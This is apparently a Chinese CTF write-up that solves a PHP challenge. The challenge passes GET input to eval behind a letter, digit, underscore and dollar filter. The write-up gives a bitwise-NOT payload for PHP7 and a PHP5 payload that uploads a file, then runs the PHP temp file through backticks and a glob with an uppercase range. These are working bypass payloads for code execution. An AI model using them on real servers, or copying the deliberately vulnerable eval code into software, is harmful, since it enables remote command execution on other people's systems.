相关代码
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
分析题目可以得知有限制条件:
过滤了大小写字母、数字、_、$,这些方法都无法使用
PHP7中:
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。
所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
因为有大小写字母的限制,我们首先需要将phpinfo这个字符串转换为URL编码,但在linux中~是表示反码,既就是取反。刚好加在前面就可以。所以我们得到:
(~%8F%97%8F%96%91%99%90)();
测试结果如图所示:
PHP5中:
考虑用“反引号”+“shell”的方式来getshell,因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题是如何利用无字母、数字、$
的系统命令来getshell?科普新的知识:
1、shell下可以利用.
来执行任意脚本
它的作用和source一样,就是用当前的shell执行一个文件中的命令。
比如:当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file执行文件,是不需要file有x权限的。
那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
2、Linux文件名支持用glob通配符代替
执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符
?
可以代表1个任意字符
那么,/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。
但如果执行. /???/?????????,页面会显示错误,这是由于执行. /???/?????????通配符后的文件有很多,例如:
我们可以发现在执行第一个匹配上的文件(即/bin/abrt-cli)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。
再来看之前列出可能干扰我们的文件,发现所有文件名都是小写,只有PHP生成的临时文件包含大写字母。我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
打开asci码表:
可见大写字母位于64@与91[之间:
我们可以利用[@-[]来表示大写字母:. /???/????????[@-[]
上传文件测试 :
web.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="web.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file" id="">
<input type="submit" value="submit">
</form>
</body>
</html>
web.php
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
上传一个文件进行测试:
进行抓包测试:
web.php包:
将Content-Type: multipart/form-data;增加到web.php包中
现在我们就可以在这里使用POST构造出临时文件,使用GET匹配临时文件
GE传入的T参数:?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%[%40-[]`%3b
得到最后的结果:
成功完成。